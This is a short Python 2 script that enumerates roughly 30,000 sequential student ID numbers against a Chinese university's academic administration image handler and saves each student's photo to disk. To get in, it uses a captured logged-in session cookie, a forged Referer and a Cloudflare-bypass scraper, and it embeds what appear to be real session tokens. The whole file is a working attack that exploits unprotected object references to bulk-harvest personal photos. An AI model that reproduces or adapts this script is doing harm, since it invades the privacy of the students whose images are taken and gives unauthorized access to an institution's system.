#coding=utf-8

import urllib2
import requests
from PIL import Image
import cfscrape
import StringIO
from splinter import Browser

host="http://ded.nuaa.edu.cn/netean/GetPic.asp?pic=sfzh&xh="
stuid=011310101
headers={"Referer":"http://ded.nuaa.edu.cn/JwSys/Manager/Module/EASys/Student/Basic/Manager.aspx",
         "Host":"ded.nuaa.edu.cn",
         "Cookie":"PwdStrengthPass=1; td_cookie=1687560958; ASPSESSIONIDAQRDBSQQ=LMHNBDODOAJPJAJFKCFKLJBC; ASP.NET_SessionId=xbu5mpuhrbhpj555sg3ehb45; DedHasLogin=1; CanViewPhotoFilter=161330225; UserLanguage=zh-CN; U_CName=%e6%9d%8e%e5%8c%96%e6%88%90; .Basic=BD439B3E185AA1CD104C177EF6E51932AE9FD05200A3E6FFC38A2407187EA5FFFF20DC4FE0D395734F66ACA9AEBA35CE9CB7A23B19DC24C5DBF10C5F77246AD5EFB70530D002378AB351343C55903918385EEA16DA3296E98F703F85D2F5066EDA9B4D3A640A953A6DA6E2A16EE42D720A9EAF265B91A7F0912139907EDB2C75629A164A001CBC858A3C4DD0C6A9F05884ADC30E1319139DAC7F2C97A8BBD1FA; Basic_NUAA_Liumanrang-MessageValue=H4sIAAAAAAAEAM1SQWsTQRTebZLNxqSIB0H0EsRjWLJbLSiNh7SgRVuKifYQwrqJzzK4mQ07syHxpEGxlVBEUDAgoicPkrPaiD9Gk+gpB48e9L1NBCFqBS/Osm/evJn3vZnvfYqqKMo3HDTTSM2hWco7glUz6SvgC+bxnGlk6cuklwNXBj7kOATSd9xMeiOouKx6AVpF7wbwHA9cN0ZQx0IEY9mr1T0OXApjDYRwtiDvNRO4n7TX7E2HySKrgY5+kUkX4ujkvWst2lyterzYqsM8xQIpPX6RCUknKJqidJ9JKHor+YO4uAR4L16o+qweHlr3JCiqGo0oaPWjM7ch+BCJnntXLbSEhBoecF2oSnyyMM4BBx+TqOxVs1SagRAtYa87DbblUMJlH9n4F9rKZV2dmzZDi1AnRk/2Bu8eDbcfDO4/06IY2Ry+evHp/e6w/fLM8OnuoPMY98b9bXPRXFjIWtapcX9n3O/8nPbhVnup4p/FjFH3zurGx9dvx/2ulbUM0zxtLJ40LCs77t+OfcWaf+CIGhpvOG4Atq3M0SWVhIYm9LR4uCYb1f4fMolBzUaF1ETMFuwmqqwxQUImT+xfv1Sm1+l6QsdJnf5xWoQetSN6fH8YAkmQ4OcjMZr+IiVGde2K5EVoopbRwWAYOM+4nOxgUw6RswLXHaSjAMS0inpXjswUwOwfQg8Fph0gM3reG/S6WpKENkUxHFFvaimMHB613wzu7Q07O58f9iZ6Ipl8QZn8Fv8XIlGT3wFQQDR7XwQAAA==",
         "User-Agent":"Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/53.0.2785.104 Safari/537.36 Core/1.53.3226.400 QQBrowser/9.6.11647.400"}
addr1="http://ded.nuaa.edu.cn/JwSys/Manager/Module/EASys/Controls/ImageHandler.ashx?ImageName="
addr2="&BinaryType=xh"
def crack(stuid):
    scraper=cfscrape.create_scraper()
    pic_content=scraper.get(addr1+str(stuid)+addr2,headers=headers).content
    if(pic_content==""):
        return
    pic=Image.open(StringIO.StringIO(pic_content))
    pic.save("pic/"+str(stuid)+'.png')

for i in range(161310101,161340236):
    print i
    crack(i)
